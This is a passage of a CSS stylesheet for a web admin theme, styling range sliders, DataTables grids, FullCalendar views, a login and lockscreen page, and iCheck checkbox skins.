	right: 0;
	cursor: default;
}

.irs-from,.irs-to,.irs-single {
	position: absolute;
	display: block;
	top: 0;
	left: 0;
	cursor: default;
	white-space: nowrap;
}

.irs-grid {
	position: absolute;
	display: none;
	bottom: 0;
	left: 0;
	width: 100%;
	height: 20px;
}

.irs-with-grid .irs-grid {
	display: block;
}

.irs-grid-pol {
	position: absolute;
	top: 0;
	left: 0;
	width: 1px;
	height: 8px;
	background: #000;
}

.irs-grid-pol.small {
	height: 4px;
}

.irs-grid-text {
	position: absolute;
	bottom: 0;
	left: 0;
	width: 100px;
	white-space: nowrap;
	text-align: center;
	font-size: 9px;
	line-height: 9px;
	color: #000;
}

/* Ion.RangeSlider, Flat UI Skin */
.irs-line-mid,.irs-line-left,.irs-line-right,.irs-diapason,.irs-slider {
	background: url(../images/sprite-skin-flat.png) repeat-x;
}

.irs {
	height: 40px;
}

.irs-with-grid {
	height: 60px;
}

.irs-line {
	height: 12px;
	top: 25px;
}

.irs-line-left {
	height: 12px;
	background-position: 0 -30px;
}

.irs-line-mid {
	height: 12px;
	background-position: 0 0;
}

.irs-line-right {
	height: 12px;
	background-position: 100% -30px;
}

.irs-diapason {
	height: 12px;
	top: 25px;
	background-position: 0 -60px;
}

.irs-slider {
	width: 16px;
	height: 18px;
	top: 22px;
	background-position: 0 -90px;
}

#irs-active-slider,.irs-slider:hover {
	background-position: 0 -120px;
}

.irs-min,.irs-max {
	color: #999;
	font-size: 10px;
	line-height: 1.333;
	text-shadow: none;
	top: 0;
	padding: 1px 3px;
	background: #e1e4e9;
	border-radius: 4px;
}

.irs-from,.irs-to,.irs-single {
	color: #fff;
	font-size: 10px;
	line-height: 1.333;
	text-shadow: none;
	padding: 1px 5px;
	background: #ed5565;
	border-radius: 4px;
}

.irs-from:after,.irs-to:after,.irs-single:after {
	position: absolute;
	display: block;
	content: "";
	bottom: -6px;
	left: 50%;
	width: 0;
	height: 0;
	margin-left: -3px;
	overflow: hidden;
	border: 3px solid transparent;
	border-top-color: #ed5565;
}

.irs-grid-pol {
	background: #e1e4e9;
}

.irs-grid-text {
	color: #999;
}

/* Data Tables*/
.dataTables_wrapper {
	position: relative;
	clear: both;
	zoom: 1; /* Feeling sorry for IE */
}

.dataTables_processing {
	position: absolute;
	top: 50%;
	left: 50%;
	width: 250px;
	height: 30px;
	margin-left: -125px;
	margin-top: -15px;
	padding: 14px 0 2px 0;
	border: 1px solid #ddd;
	text-align: center;
	color: #999;
	font-size: 14px;
	background-color: white;
}

.dataTables_length {
	width: 40%;
	float: left;
}

.dataTables_filter {
	width: 50%;
	float: right;
	text-align: right;
}

.dataTables_info {
	width: 60%;
	float: left;
}

.dataTables_paginate {
	float: right;
	text-align: right;
}

/* Pagination nested */
.paginate_disabled_previous,.paginate_enabled_previous,.paginate_disabled_next,.paginate_enabled_next
	{
	float: left;
	cursor: pointer;
	*cursor: hand;
	color: #111 !important;
}

.paginate_disabled_previous:hover,.paginate_enabled_previous:hover,.paginate_disabled_next:hover,.paginate_enabled_next:hover
	{
	text-decoration: none !important;
}

.paginate_disabled_previous:active,.paginate_enabled_previous:active,.paginate_disabled_next:active,.paginate_enabled_next:active
	{
	outline: none;
}

.paginate_disabled_previous,.paginate_disabled_next {
	color: #666 !important;
}

.paginate_disabled_previous,.paginate_enabled_previous {
	padding-left: 23px;
}

.paginate_disabled_next,.paginate_enabled_next {
	padding-right: 23px;
	margin-left: 10px;
}

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 * DataTables display
 */
table.display {
	margin: 0 auto;
	clear: both;
	width: 100%;
	border-bottom: #e0e0df solid 1px;
	/* Note Firefox 3.5 and before have a bug with border-collapse
	 * ( https://bugzilla.mozilla.org/show%5Fbug.cgi?id=155955 ) 
	 * border-spacing: 0; is one possible option. Conditional-css.com is
	 * useful for this kind of thing
	 *
	 * Further note IE 6/7 has problems when calculating widths with border width.
	 * It subtracts one px relative to the other browsers from the first column, and
	 * adds one to the end...
	 *
	 * If you want that effect I'd suggest setting a border-top/left on th/td's and 
	 * then filling in the gaps with other borders.
	 */
}

table.display thead th {
	padding: 3px 18px 3px 10px;
	border-bottom: 1px solid #e0e0df;
	font-weight: bold;
	cursor: pointer; *
	cursor: hand;
}

table.display tfoot th {
	padding: 3px 18px 3px 10px;
	border-top: 1px solid #e0e0df;
	font-weight: bold;
}

table.display tr.heading2 td {
	border-bottom: 1px solid #aaa;
}

table.display td {
	padding: 3px 10px;
}

table.display td.center {
	text-align: center;
}

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 * DataTables sorting
 */
.sorting_asc {
	background: url('../images/sort_asc.png') no-repeat center right;
}

.sorting_desc {
	background: url('../images/sort_desc.png') no-repeat center right;
}

.sorting {
	background: url('../images/sort_both.png') no-repeat center right;
}

.sorting_asc_disabled {
	background: url('../images/sort_asc_disabled.png') no-repeat center
		right;
}

.sorting_desc_disabled {
	background: url('../images/sort_desc_disabled.png') no-repeat center
		right;
}

table.display thead th:active,table.display thead td:active {
	outline: none;
}

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 * DataTables row classes
 */
table.display tr.odd.gradeA {
	background-color: #fff;
}

table.display tr.even.gradeA {
	background-color: #f6f8fa;
}

table.display tr.odd.gradeC {
	background-color: #fff;
}

table.display tr.even.gradeC {
	background-color: #f6f8fa;
}

table.display tr.odd.gradeX {
	background-color: #fff;
}

table.display tr.even.gradeX {
	background-color: #f6f8fa;
}

table.display tr.odd.gradeU {
	background-color: #fff;
}

table.display tr.even.gradeU {
	background-color: #f6f8fa;
}

tr.odd {
	background-color: #fff;
}

tr.even {
	background-color: #f6f8fa;
}

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 * Misc
 */
.dataTables_scroll {
	clear: both;
}

.dataTables_scrollBody {
	*margin-top: -1px;
	-webkit-overflow-scrolling: touch;
}

.top,.bottom {
	padding: 15px;
	background-color: #F5F5F5;
	border: 1px solid #CCCCCC;
}

.top .dataTables_info {
	float: none;
}

.clear {
	clear: both;
}

.dataTables_empty {
	text-align: center;
}

tfoot input {
	margin: 0.5em 0;
	width: 100%;
	color: #444;
}

tfoot input.search_init {
	color: #999;
}

td.group {
	background-color: #d1cfd0;
	border-bottom: 2px solid #A19B9E;
	border-top: 2px solid #A19B9E;
}

td.details {
	background-color: #d1cfd0;
	border: 2px solid #A19B9E;
}

.example_alt_pagination div.dataTables_info {
	width: 40%;
}

.paging_full_numbers {
	height: 22px;
	line-height: 22px;
}

.paging_full_numbers a:active {
	outline: none
}

.paging_full_numbers a:hover {
	text-decoration: none;
}

.paging_full_numbers a.paginate_button,.paging_full_numbers a.paginate_active
	{
	color: #6d6f75;
	background: #fdfdfd;
	background: -moz-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #fdfdfd),
		color-stop(100%, #f7f7f7) );
	background: -webkit-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	background: -o-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	background: -ms-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	background: linear-gradient(to bottom, #fdfdfd 0%, #f7f7f7 100%);
	filter: progid : DXImageTransform.Microsoft.gradient (   startColorstr =
		'#fdfdfd', endColorstr = '#f7f7f7', GradientType = 0 );
	border-color: #e4e4e4;
	box-shadow: 0 1px 2px #E7EBEC;
}

.paging_full_numbers a.paginate_button {
	background-color: #ddd;
}

.paging_full_numbers a.paginate_button:hover {
	background-color: #ccc;
	text-decoration: none !important;
}

.paging_full_numbers a.paginate_active {
	background-color: #99B3FF;
}

table.display tr.even.row_selected td {
	background-color: #B0BED9;
}

table.display tr.odd.row_selected td {
	background-color: #9FAFD1;
}

/*
 * Sorting classes for columns
 */ /* For the standard odd/even */
tr.odd td.sorting_1 {
	
}

tr.odd td.sorting_2 {
	background-color: #DADCFF;
}

tr.odd td.sorting_3 {
	background-color: #E0E2FF;
}

tr.even td.sorting_1 {
	
}

tr.even td.sorting_2 {
	background-color: #F2F3FF;
}

tr.even td.sorting_3 {
	background-color: #F9F9FF;
}

/* For the Conditional-CSS grading rows */ /*
 	Colour calculations (based off the main row colours)
  Level 1:
		dd > c4
		ee > d5
	Level 2:
	  dd > d1
	  ee > e2
 */
tr.odd.gradeA td.sorting_1 {
	background-color: #f7f7f7;
}

tr.odd.gradeA td.sorting_2 {
	background-color: #d1ffd1;
}

tr.odd.gradeA td.sorting_3 {
	background-color: #d1ffd1;
}

tr.even.gradeA td.sorting_1 {
	background-color: #f0eded;
}

tr.even.gradeA td.sorting_2 {
	background-color: #e2ffe2;
}

tr.even.gradeA td.sorting_3 {
	background-color: #e2ffe2;
}

tr.odd.gradeC td.sorting_1 {
	background-color: #c4c4ff;
}

tr.odd.gradeC td.sorting_2 {
	background-color: #d1d1ff;
}

tr.odd.gradeC td.sorting_3 {
	background-color: #d1d1ff;
}

tr.even.gradeC td.sorting_1 {
	background-color: #d5d5ff;
}

tr.even.gradeC td.sorting_2 {
	background-color: #e2e2ff;
}

tr.even.gradeC td.sorting_3 {
	background-color: #e2e2ff;
}

tr.odd.gradeX td.sorting_1 {
	background-color: #ffc4c4;
}

tr.odd.gradeX td.sorting_2 {
	background-color: #ffd1d1;
}

tr.odd.gradeX td.sorting_3 {
	background-color: #ffd1d1;
}

tr.even.gradeX td.sorting_1 {
	background-color: #ffd5d5;
}

tr.even.gradeX td.sorting_2 {
	background-color: #ffe2e2;
}

tr.even.gradeX td.sorting_3 {
	background-color: #ffe2e2;
}

tr.odd.gradeU td.sorting_1 {
	background-color: #c4c4c4;
}

tr.odd.gradeU td.sorting_2 {
	background-color: #d1d1d1;
}

tr.odd.gradeU td.sorting_3 {
	background-color: #d1d1d1;
}

tr.even.gradeU td.sorting_1 {
	background-color: #d5d5d5;
}

tr.even.gradeU td.sorting_2 {
	background-color: #e2e2e2;
}

tr.even.gradeU td.sorting_3 {
	background-color: #e2e2e2;
}

/*
 * Row highlighting example
 */
.ex_highlight #example tbody tr.even:hover,#example tbody tr.even td.highlighted
	{
	background-color: #ECFFB3;
}

.ex_highlight #example tbody tr.odd:hover,#example tbody tr.odd td.highlighted
	{
	background-color: #E6FF99;
}

.ex_highlight_row #example tr.even:hover {
	background-color: #ECFFB3;
}

.ex_highlight_row #example tr.even:hover td.sorting_1 {
	background-color: #DDFF75;
}

.ex_highlight_row #example tr.even:hover td.sorting_2 {
	background-color: #E7FF9E;
}

.ex_highlight_row #example tr.even:hover td.sorting_3 {
	background-color: #E2FF89;
}

.ex_highlight_row #example tr.odd:hover {
	background-color: #E6FF99;
}

.ex_highlight_row #example tr.odd:hover td.sorting_1 {
	background-color: #D6FF5C;
}

.ex_highlight_row #example tr.odd:hover td.sorting_2 {
	background-color: #E0FF84;
}

.ex_highlight_row #example tr.odd:hover td.sorting_3 {
	background-color: #DBFF70;
}

/*
 * KeyTable
 */
table.KeyTable td {
	border: 3px solid transparent;
}

table.KeyTable td.focus {
	border: 3px solid #3366FF;
}

table.display tr.gradeA {
	background-color: #eeffee;
}

table.display tr.gradeC {
	background-color: #ddddff;
}

table.display tr.gradeX {
	background-color: #ffdddd;
}

table.display tr.gradeU {
	background-color: #ddd;
}

div.box {
	height: 100px;
	padding: 10px;
	overflow: auto;
	border: 1px solid #8080FF;
	background-color: #E5E5FF;
}

/* Full Calendar */
.fc {
	direction: ltr;
	text-align: left;
}

.fc table {
	border-collapse: collapse;
	border-spacing: 0;
}

html .fc,.fc table {
	font-size: 1em;
}

.fc td,.fc th {
	padding: 0;
	vertical-align: top;
}

/* Header
------------------------------------------------------------------------*/
.fc-header td {
	white-space: nowrap;
}

.fc-header-left {
	width: 25%;
	text-align: left;
}

.fc-header-center {
	text-align: center;
}

.fc-header-right {
	width: 25%;
	text-align: right;
}

.fc-header-title {
	display: inline-block;
	vertical-align: top;
}

.fc-header-title h2 {
	margin-top: 0;
	white-space: nowrap;
}

.fc .fc-header-space {
	padding-left: 10px;
}

.fc-header .fc-button {
	margin-bottom: 1em;
	vertical-align: top;
}

/* buttons edges butting together */
.fc-header .fc-button {
	margin-right: -1px;
}

.fc-header .fc-corner-right, /* non-theme */ .fc-header .ui-corner-right
	{ /* theme */
	margin-right: 0; /* back to normal */
}

/* button layering (for border precedence) */
.fc-header .fc-state-hover,.fc-header .ui-state-hover {
	z-index: 2;
}

.fc-header .fc-state-down {
	z-index: 3;
}

.fc-header .fc-state-active,.fc-header .ui-state-active {
	z-index: 4;
}

/* Content
------------------------------------------------------------------------*/
.fc-content {
	clear: both;
	zoom: 1;
	/* for IE7, gives accurate coordinates for [un]freezeContentHeight */
}

.fc-view {
	width: 100%;
	overflow: hidden;
}

/* Cell Styles
------------------------------------------------------------------------*/
.fc-widget-header, /* <th>, usually */ .fc-widget-content {
	/* <td>, usually */
	border: 1px solid #ddd;
}

.fc-state-highlight { /* <td> today cell */
	/* TODO: add .fc-today to <th> */
	background: #fcf8e3;
}

.fc-cell-overlay { /* semi-transparent rectangle while dragging */
	background: #bce8f1;
	opacity: .3;
	filter: alpha(opacity = 30); /* for IE */
}

/* Buttons
------------------------------------------------------------------------*/
.fc-button {
	position: relative;
	display: inline-block;
	padding: 0 .6em;
	overflow: hidden;
	height: 1.9em;
	line-height: 1.9em;
	white-space: nowrap;
	cursor: pointer;
}

.fc-state-default { /* non-theme */
	border: 1px solid;
}

.fc-state-default.fc-corner-left { /* non-theme */
	border-top-left-radius: 4px;
	border-bottom-left-radius: 4px;
}

.fc-state-default.fc-corner-right { /* non-theme */
	border-top-right-radius: 4px;
	border-bottom-right-radius: 4px;
}

/*
	Our default prev/next buttons use HTML entities like &lsaquo; &rsaquo; &laquo; &raquo;
	and we'll try to make them look good cross-browser.
*/
.fc-text-arrow {
	margin: 0 .1em;
	font-size: 2em;
	font-family: "Courier New", Courier, monospace;
	vertical-align: baseline; /* for IE7 */
}

.fc-button-prev .fc-text-arrow,.fc-button-next .fc-text-arrow {
	/* for &lsaquo; &rsaquo; */
	font-weight: bold;
}

/* icon (for jquery ui) */
.fc-button .fc-icon-wrap {
	position: relative;
	float: left;
	top: 50%;
}

.fc-button .ui-icon {
	position: relative;
	float: left;
	margin-top: -50%;
	*margin-top: 0;
	*top: -50%;
}

/*
  button states
  borrowed from twitter bootstrap (http://twitter.github.com/bootstrap/)
*/
.fc-state-default {
	color: #6d6f75;
	height: 29px;
	background: #fdfdfd;
	background: -moz-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #fdfdfd),
		color-stop(100%, #f7f7f7) );
	background: -webkit-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	background: -o-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	background: -ms-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	background: linear-gradient(to bottom, #fdfdfd 0%, #f7f7f7 100%);
	filter: progid : DXImageTransform.Microsoft.gradient (   startColorstr =
		'#fdfdfd', endColorstr = '#f7f7f7', GradientType = 0 );
	border-color: #e4e4e4;
	box-shadow: 0 1px 2px #E7EBEC;
}

.fc-state-hover,.fc-state-down,.fc-state-active,.fc-state-disabled {
	color: #333333;
	background-color: #e6e6e6;
}

.fc-state-hover {
	color: #333333;
	text-decoration: none;
	background-position: 0 -15px;
	-webkit-transition: background-position 0.1s linear;
	-moz-transition: background-position 0.1s linear;
	-o-transition: background-position 0.1s linear;
	transition: background-position 0.1s linear;
}

.fc-state-down,.fc-state-active {
	color: #FFF;
	background-color: #2489c5;
	background-image: none;
	outline: 0;
	box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px
		rgba(0, 0, 0, 0.05);
}

.fc-state-disabled {
	cursor: default;
	background-image: none;
	opacity: 0.65;
	filter: alpha(opacity = 65);
	box-shadow: none;
}

/* Global Event Styles
------------------------------------------------------------------------*/
.fc-event-container>* {
	z-index: 8;
}

.fc-event-container>.ui-draggable-dragging,.fc-event-container>.ui-resizable-resizing
	{
	z-index: 9;
}

.fc-event {
	border: 1px solid #2489c5; /* default BORDER color */
	background-color: #2489c5; /* default BACKGROUND color */
	color: #fff; /* default TEXT color */
	font-size: .85em;
	cursor: default;
}

a.fc-event {
	text-decoration: none;
}

a.fc-event,.fc-event-draggable {
	cursor: pointer;
}

.fc-rtl .fc-event {
	text-align: right;
}

.fc-event-inner {
	width: 100%;
	height: 100%;
	overflow: hidden;
}

.fc-event-time,.fc-event-title {
	padding: 0 1px;
}

.fc .ui-resizable-handle {
	display: block;
	position: absolute;
	z-index: 99999;
	overflow: hidden; /* hacky spaces (IE6/7) */
	font-size: 300%; /* */
	line-height: 50%; /* */
}

/* Horizontal Events
------------------------------------------------------------------------*/
.fc-event-hori {
	border-width: 1px 0;
	margin-bottom: 1px;
}

.fc-ltr .fc-event-hori.fc-event-start,.fc-rtl .fc-event-hori.fc-event-end
	{
	border-left-width: 1px;
	border-top-left-radius: 3px;
	border-bottom-left-radius: 3px;
}

.fc-ltr .fc-event-hori.fc-event-end,.fc-rtl .fc-event-hori.fc-event-start
	{
	border-right-width: 1px;
	border-top-right-radius: 3px;
	border-bottom-right-radius: 3px;
}

/* resizable */
.fc-event-hori .ui-resizable-e {
	top: 0 !important; /* importants override pre jquery ui 1.7 styles */
	right: -3px !important;
	width: 7px !important;
	height: 100% !important;
	cursor: e-resize;
}

.fc-event-hori .ui-resizable-w {
	top: 0 !important;
	left: -3px !important;
	width: 7px !important;
	height: 100% !important;
	cursor: w-resize;
}

.fc-event-hori .ui-resizable-handle {
	_padding-bottom: 14px; /* IE6 had 0 height */
}

/* Reusable Separate-border Table
------------------------------------------------------------*/
table.fc-border-separate {
	border-collapse: separate;
}

.fc-border-separate th,.fc-border-separate td {
	border-width: 1px 0 0 1px;
}

.fc-border-separate th.fc-last,.fc-border-separate td.fc-last {
	border-right-width: 1px;
}

.fc-border-separate tr.fc-last th,.fc-border-separate tr.fc-last td {
	border-bottom-width: 1px;
}

.fc-border-separate tbody tr.fc-first td,.fc-border-separate tbody tr.fc-first th
	{
	border-top-width: 0;
}

/* Month View, Basic Week View, Basic Day View
------------------------------------------------------------------------*/
.fc-grid th {
	text-align: center;
}

.fc .fc-week-number {
	width: 22px;
	text-align: center;
}

.fc .fc-week-number div {
	padding: 0 2px;
}

.fc-grid .fc-day-number {
	float: right;
	padding: 0 2px;
}

.fc-grid .fc-other-month .fc-day-number {
	opacity: 0.3;
	filter: alpha(opacity = 30); /* for IE */
	/* opacity with small font can sometimes look too faded
	   might want to set the 'color' property instead
	   making day-numbers bold also fixes the problem */
}

.fc-grid .fc-day-content {
	clear: both;
	padding: 2px 2px 1px; /* distance between events and day edges */
}

/* event styles */
.fc-grid .fc-event-time {
	font-weight: bold;
}

/* right-to-left */
.fc-rtl .fc-grid .fc-day-number {
	float: left;
}

.fc-rtl .fc-grid .fc-event-time {
	float: right;
}

/* Agenda Week View, Agenda Day View
------------------------------------------------------------------------*/
.fc-agenda table {
	border-collapse: separate;
}

.fc-agenda-days th {
	text-align: center;
}

.fc-agenda .fc-agenda-axis {
	width: 50px;
	padding: 0 4px;
	vertical-align: middle;
	text-align: right;
	white-space: nowrap;
	font-weight: normal;
}

.fc-agenda .fc-week-number {
	font-weight: bold;
}

.fc-agenda .fc-day-content {
	padding: 2px 2px 1px;
}

/* make axis border take precedence */
.fc-agenda-days .fc-agenda-axis {
	border-right-width: 1px;
}

.fc-agenda-days .fc-col0 {
	border-left-width: 0;
}

/* all-day area */
.fc-agenda-allday th {
	border-width: 0 1px;
}

.fc-agenda-allday .fc-day-content {
	min-height: 34px; /* TODO: doesnt work well in quirksmode */
	_height: 34px;
}

/* divider (between all-day and slots) */
.fc-agenda-divider-inner {
	height: 2px;
	overflow: hidden;
}

.fc-widget-header .fc-agenda-divider-inner {
	background: #eee;
}

/* slot rows */
.fc-agenda-slots th {
	border-width: 1px 1px 0;
}

.fc-agenda-slots td {
	border-width: 1px 0 0;
	background: none;
}

.fc-agenda-slots td div {
	height: 20px;
}

.fc-agenda-slots tr.fc-slot0 th,.fc-agenda-slots tr.fc-slot0 td {
	border-top-width: 0;
}

.fc-agenda-slots tr.fc-minor th,.fc-agenda-slots tr.fc-minor td {
	border-top-style: dotted;
}

.fc-agenda-slots tr.fc-minor th.ui-widget-header {
	*border-top-style: solid; /* doesn't work with background in IE6/7 */
}

/* Vertical Events
------------------------------------------------------------------------*/
.fc-event-vert {
	border-width: 0 1px;
}

.fc-event-vert.fc-event-start {
	border-top-width: 1px;
	border-top-left-radius: 3px;
	border-top-right-radius: 3px;
}

.fc-event-vert.fc-event-end {
	border-bottom-width: 1px;
	border-bottom-left-radius: 3px;
	border-bottom-right-radius: 3px;
}

.fc-event-vert .fc-event-time {
	white-space: nowrap;
	font-size: 10px;
}

.fc-event-vert .fc-event-inner {
	position: relative;
	z-index: 2;
}

.fc-event-vert .fc-event-bg {
	/* makes the event lighter w/ a semi-transparent overlay  */
	position: absolute;
	z-index: 1;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	background: #fff;
	opacity: .25;
	filter: alpha(opacity = 25);
}

.fc .ui-draggable-dragging .fc-event-bg,
	/* TODO: something nicer like .fc-opacity */ .fc-select-helper .fc-event-bg
	{
	display: none\9;
	/* for IE6/7/8. nested opacity filters while dragging don't work */
}

/* resizable */
.fc-event-vert .ui-resizable-s {
	bottom: 0 !important; /* importants override pre jquery ui 1.7 styles */
	width: 100% !important;
	height: 8px !important;
	overflow: hidden !important;
	line-height: 8px !important;
	font-size: 11px !important;
	font-family: monospace;
	text-align: center;
	cursor: s-resize;
}

.fc-agenda .ui-resizable-resizing { /* TODO: better selector */
	_overflow: hidden;
}

/* Login Wrapper */
.loginwrapper {
	width: 100%;
	position: absolute;
	left: 0;
	top: 0;
	display: block;
	height: 100%;
	background: #30333b;
}

.loginwrapper .circle {
	width: 550px;
	height: 550px;
	left: 50%;
	top: 50%;
	opacity: .7;
	position: absolute;
	margin: -275px 0 0 -275px;
	border: #FFF solid 2px;
	border-radius: 50%;
}

.loginwrapper.whiter {
	background: #fff;
}

.loginwrapper.whiter .circle {
	border: #ccc solid 2px;
}

.loginwrapper.lockscreen header h3 {
	padding: 0px 0 0 0;
}

.loginwrapper.lockscreen header h3 a {
	color: #FFF;
}

.loginwrapper.whiter.lockscreen header h3 a {
	color: #9B9BA3;
}

/* Login Wrapper */
.loginwrapper .loginone img {
	max-height: 130px;
	height: 130px;
}

.loginwrapper .loginone {
	width: 350px;
	height: 350px;
	left: 50%;
	top: 45%;
	position: absolute;
	margin: -175px 0 0 -175px;
}

.loginwrapper header {
	width: 100%;
	/*padding:0 0 16px 0;*/
	text-align: center;
}

.loginwrapper.lockscreen a.avatar img {
	border-radius: 50%;
	border: #fff solid 5px;
}

.loginwrapper.whiter.lockscreen a.avatar img {
	border: #E0E0DF solid 5px;
}

.loginwrapper header p {
	padding: 12px 0 0px 0;
	font-size: 16px;
	color: #9b9ba3;
}

.loginwrapper form {
	width: 100%;
}

.loginwrapper input {
	width: 100%;
	height: 42px;
	margin-bottom: 10px;
	position: relative;
}

.loginwrapper input[type="text"],.loginwrapper input[type="password"] {
	font-size: 13px;
	color: #6d6f75;
	padding-left: 35px;
}

.loginwrapper .username,.loginwrapper .password {
	position: relative;
}

.loginwrapper i {
	left: 10px;
	top: 11px;
	color: #6d6f75;
	font-size: 18px;
	position: absolute;
}

.loginwrapper label {
	font-weight: normal;
	font-size: 13px;
	color: #95969d;
}

.loginwrapper input[type="submit"] {
	margin: 0 0 20px 0;
}

.loginwrapper .custom-radio-checkbox {
	margin: 10px 0 20px 0;
}

.loginwrapper footer a {
	color: #3498db;
}

.loginwrapper.lockscreen footer {
	text-align: center;
}

.loginwrapper.whiter footer a {
	color: #9B9BA3;
}

.loginwrapper.whiter footer a:hover {
	color: #000;
}

/* Custom Checkboxes */ /* iCheck plugin Flat skin, blue
----------------------------------- */
.icheckbox_flat-blue,.iradio_flat-blue {
	display: inline-block;
	*display: inline;
	vertical-align: middle;
	margin: 0;
	padding: 0;
	width: 20px;
	height: 20px;
	background: url(../images/blue.png) no-repeat;
	border: none;
	cursor: pointer;
}

.icheckbox_flat-blue {
	background-position: 0 0;
}

.icheckbox_flat-blue.checked {
	background-position: -22px 0;
}

.icheckbox_flat-blue.disabled {
	background-position: -44px 0;
	cursor: default;
}

.icheckbox_flat-blue.checked.disabled {
	background-position: -66px 0;
}

.iradio_flat-blue {
	background-position: -88px 0;
}

.iradio_flat-blue.checked {
	background-position: -110px 0;
}

.iradio_flat-blue.disabled {
	background-position: -132px 0;
	cursor: default;
}

.iradio_flat-blue.checked.disabled {
	background-position: -154px 0;
}

/* Retina support */
@media only screen and (-webkit-min-device-pixel-ratio: 1.5) , only screen and
		(-moz-min-device-pixel-ratio: 1.5) , only screen and
		(-o-min-device-pixel-ratio: 3/2) , only screen and
	(min-device-pixel-ratio: 1.5) {
	.icheckbox_flat-blue,.iradio_flat-blue {
		background-image: url(../images/blue@2x.png);
		-webkit-background-size: 176px 22px;
		background-size: 176px 22px;
	}
}

/* iCheck plugin Flat skin, green
----------------------------------- */
.icheckbox_flat-green,.iradio_flat-green {
	display: inline-block;
	*display: inline;
	vertical-align: middle;
	margin: 0;
	padding: 0;
	width: 20px;
	height: 20px;
	background: url(../images/green.png) no-repeat;
	border: none;
	cursor: pointer;
}

.icheckbox_flat-green {
	background-position: 0 0;
}

.icheckbox_flat-green.checked {
	background-position: -22px 0;
}

.icheckbox_flat-green.disabled {
	background-position: -44px 0;
	cursor: default;
}

.icheckbox_flat-green.checked.disabled {
	background-position: -66px 0;
}

.iradio_flat-green {
	background-position: -88px 0;
}

.iradio_flat-green.checked {
	background-position: -110px 0;
}

.iradio_flat-green.disabled {
	background-position: -132px 0;
	cursor: default;
}

.iradio_flat-green.checked.disabled {
	background-position: -154px 0;
}

/* Retina support */
@media only screen and (-webkit-min-device-pixel-ratio: 1.5) , only screen and
		(-moz-min-device-pixel-ratio: 1.5) , only screen and
		(-o-min-device-pixel-ratio: 3/2) , only screen and
	(min-device-pixel-ratio: 1.5) {
	.icheckbox_flat-green,.iradio_flat-green {
		background-image: url(../images/green@2x.png);
		-webkit-background-size: 176px 22px;
		background-size: 176px 22px;
	}
}

/* iCheck plugin Minimal skin, black
----------------------------------- */
.icheckbox_minimal,.iradio_minimal {
	display: inline-block;
	*display: inline;
	vertical-align: middle;
	margin: 0;
	padding: 0;
	width: 18px;
	height: 18px;
	background: url(../images/minimal.png) no-repeat;
	border: none;
	cursor: pointer;
}

.icheckbox_minimal {
	background-position: 0 0;
}

.icheckbox_minimal.hover {
	background-position: -20px 0;
}

.icheckbox_minimal.checked {
	background-position: -40px 0;
}

.icheckbox_minimal.disabled {
	background-position: -60px 0;
	cursor: default;
}

.icheckbox_minimal.checked.disabled {
	background-position: -80px 0;
}

.iradio_minimal {
	background-position: -100px 0;
}

.iradio_minimal.hover {
	background-position: -120px 0;
}

.iradio_minimal.checked {
	background-position: -140px 0;
}

.iradio_minimal.disabled {
	background-position: -160px 0;
	cursor: default;
}

.iradio_minimal.checked.disabled {
	background-position: -180px 0;
}

/* Retina support */
@media only screen and (-webkit-min-device-pixel-ratio: 1.5) , only screen and
		(-moz-min-device-pixel-ratio: 1.5) , only screen and
		(-o-min-device-pixel-ratio: 3/2) , only screen and
	(min-device-pixel-ratio: 1.5) {
	.icheckbox_minimal,.iradio_minimal {
		background-image: url(../images/minimal@2x.png);
		-webkit-background-size: 200px 20px;
		background-size: 200px 20px;
	}
}

/* iCheck plugin Flat skin, orange
----------------------------------- */
.icheckbox_flat-orange,.iradio_flat-orange {
	display: inline-block;
	*display: inline;
	vertical-align: middle;
	margin: 0;
	padding: 0;
	width: 20px;
	height: 20px;
	background: url(../images/orange.png) no-repeat;
	border: none;
	cursor: pointer;
}

.icheckbox_flat-orange {
	background-position: 0 0;
}

.icheckbox_flat-orange.checked {
	background-position: -22px 0;
}

.icheckbox_flat-orange.disabled {
	background-position: -44px 0;
	cursor: default;
}

.icheckbox_flat-orange.checked.disabled {
	background-position: -66px 0;
}

.iradio_flat-orange {
	background-position: -88px 0;
}

.iradio_flat-orange.checked {
	background-position: -110px 0;
}

.iradio_flat-orange.disabled {
	background-position: -132px 0;
	cursor: default;
}

.iradio_flat-orange.checked.disabled {
	background-position: -154px 0;
}

/* Retina support */
@media only screen and (-webkit-min-device-pixel-ratio: 1.5) , only screen and
		(-moz-min-device-pixel-ratio: 1.5) , only screen and
		(-o-min-device-pixel-ratio: 3/2) , only screen and
	(min-device-pixel-ratio: 1.5) {
	.icheckbox_flat-orange,.iradio_flat-orange {
		background-image: url(../images/orange@2x.png);
		-webkit-background-size: 176px 22px;
		background-size: 176px 22px;
	}
}

/* iCheck plugin Flat skin, red
----------------------------------- */
.icheckbox_flat-red,.iradio_flat-red {
	display: inline-block;
	*display: inline;
	vertical-align: middle;
	margin: 0;
	padding: 0;
	width: 20px;
	height: 20px;
	background: url(../images/red.png) no-repeat;
	border: none;
	cursor: pointer;
}

.icheckbox_flat-red {
	background-position: 0 0;
}

.icheckbox_flat-red.checked {
	background-position: -22px 0;
}

.icheckbox_flat-red.disabled {
	background-position: -44px 0;
	cursor: default;
}

.icheckbox_flat-red.checked.disabled {
	background-position: -66px 0;
}

.iradio_flat-red {
	background-position: -88px 0;
}

.iradio_flat-red.checked {
	background-position: -110px 0;
}

.iradio_flat-red.disabled {
	background-position: -132px 0;
	cursor: default;
}

.iradio_flat-red.checked.disabled {
	background-position: -154px 0;
}

/* Retina support */
